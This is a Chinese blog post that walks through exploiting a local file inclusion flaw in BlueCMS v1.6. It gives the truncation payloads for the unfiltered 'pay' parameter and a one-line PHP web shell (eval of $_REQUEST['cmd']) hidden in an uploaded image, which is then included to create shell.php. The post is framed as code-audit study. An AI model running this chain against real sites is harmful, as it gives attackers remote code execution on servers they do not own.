目录

BlueCms

POC构造

漏洞利用


BlueCms

BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放。
复现版本为bluecmsv1.6版本,各位可自行下载。

POC构造

可以先用代码审计工具如Seay扫一波,或者直接观察代码。如下在user.php中,可以看到,如果act参数为pay值,这包含 'include/payment/'.$_POST['pay']."/index.php" 文件,其中pay参数没有过滤。按道理只要截断一下,应该可以利用此漏洞。

这里的难点就是怎么将其截断然后去包含我们想要包含的文件,因为后面拼接了一个"index.php"这个字符。

先去到漏洞链接所在处,会员中心->充值中心->金币充值->在线支付。

先测试如何构建payload才能成功,我们现在include/payment/下新建一个1.php文件内容为phpinfo

点击在线支付Bp截取数据,发到repeater模块,构造exp。

%00截断,失败
price=1&id=2&name=2&pay=1.php%00
?号截断,失败
price=1&id=2&name=2&pay=1.php?
.溢出截断,成功
price=1&id=2&name=2&pay=1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

这里构造的payload说明将'include/payment/'.$_POST['pay']."/index.php" 后面的index.php给截断了。

注意:这里PHP版本与小于等于5.2.17才能截断成功,否则会包含失败。具体什么原因我也知道,有知道的小伙伴可以在评论处说明一下

漏洞利用

我们都知道文件包含分为本地文件包含和远程文件包含,在本系统中因为我构造的payload是插入到系统中已经构造好的本地路径中。所以这里只存在本地文件包含漏洞

文件包含有一个强大的功能就是无条件解析文件,经常结合图片马来进行利用,所以这里我们进行包含图片马写shell,只需要上传一张图片马,包含以下就能重新生成一个shell.php文件。

1. 上传图片马

shell.php如下,将其写入到正常的图片中, 传送门——图片马的生成

<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

如下位置进行上传头像,然后查看图片地址 data/upload/face_pic/16316897019.png

2. 包含图片

将上传的图像地址包含进去

此时会在根目录生成shell.php文件

然后直接连接就可以了,不过这个版本的php用蚁剑或者其他工具连接会有点问题。思路吧,学习思路

BlueCms v1.6 本地文件包含漏洞代码审计相关推荐

  1. 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径.绝对路径.相对路径) 具有文件可读权限 提交参数http://loc ...

  2. 本地文件包含漏洞详解

    0x00:漏洞定义 在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露.恶意代码的注入等. 文件包含分为两种,一种为本地文件包含,一种为 ...

  3. phpmyadminV4.8.1本地文件包含漏洞复现

    文章目录 一.phpMyadmin简介 二.什么是文件包含漏洞? 三.本地包含和远程包含 四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结 五.关于windows特性的一个小 ...

  4. 一个云本地文件包含漏洞,影响世界一流公司

    本文讲的是一个云本地文件包含漏洞,影响世界一流公司,先通过一张截图看一下影响范围吧 本地文件包含是在Oracle Responsys的云服务中存在的.什么是Responsys?它是企业级基于云的B2C ...

  5. delphi cxgrid读取本地image_技术讨论 | PHP本地文件包含漏洞GetShell

    序言 让我们突破重重苛刻环境GetShell,文中有以phpmyadmin包含漏洞做演示. PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负. 漏洞背景 当您在发现PHP本地文件包含 ...

  6. 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)

    一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...

  7. ThinkPHP Lang多语言本地文件包含漏洞(QVD-2022-46174)漏洞复现

    1.漏洞描述 ThinkPHP是一个在中国使用较多的PHP框架.在其6.0.13版本及以前,存在一处本地文件包含漏洞.当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件 ...

  8. saiav.win forum.php,关于 DiscuzX3.4 UC_Server 本地文件包含漏洞

    最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...

  9. php本地文件包含漏洞,php文件包含漏洞利用小结

    漏洞概述: 文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动态包含在服务器的文件,从而导致恶意代码的执行及敏感信息的泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式. 产生原因: ...

最新文章

  1. 独家 | 集成学习入门介绍
  2. 机器学习算法总结--GBDT
  3. 【华为云技术分享】GitHub联合开发
  4. excel制作录入和查询系统_Excel进销存管理系统,完整函数应用,出入查询库存更新自动显示...
  5. 【前端进阶之路】内存基本知识
  6. Ubuntu常用终端命令
  7. 关于mysql自带的计划任务和系统计划任务的建议
  8. 【高数】数学符号及读法大全and数学运算符号及含义
  9. Eclipse 启动时提示loading workbench错误并提示查看.log
  10. 误删除文件怎么找回呢?
  11. 编写c语言数据从结构时头文件,C语言与数据结构 实验指导.doc
  12. python list diff_PythonList交集,并集,差集的应用
  13. 庆祝鸿蒙指的是哪个生肖,12月中头彩,苦难转幸福,3生肖,鸿蒙紫气,运走上坡路,想啥就有啥...
  14. java迅雷下载excel,Asp.net生成Excel文件并下载(更新:解决使用迅雷下载页面而不是文件的问题)...
  15. html将字符串按逗号分隔,js如何截取以逗号隔开的字符串
  16. java 为新员工分配部门
  17. 微软股价创14年新高
  18. error #18 expected a “)”和error #140 too many arguments in function call
  19. 波若波罗蜜心经学习心得
  20. 仿京东流水布局实现技术基础 (初学者参考版)

热门文章

  1. Linux系统日志管理
  2. 2021 年国产数据库名录和产品信息一览
  3. 入力できる文字数チェック
  4. 泰山OFFICE技术讲座:中英文间隔,间隔以哪个字体为准?
  5. 二级计算机c语言解题技巧,2010年全国计算机等级考试二级C语言考试题型解题技巧...
  6. 1083 Cantor表
  7. MySQL查询(DQL)之基础查询+条件查询+排序查询
  8. Linux 系统增加硬盘
  9. 2019软科计算机中国排名,权威发布:2019软科中国最好学科排名
  10. java对手机芯片有没有要求_芯片对手机到底有多重要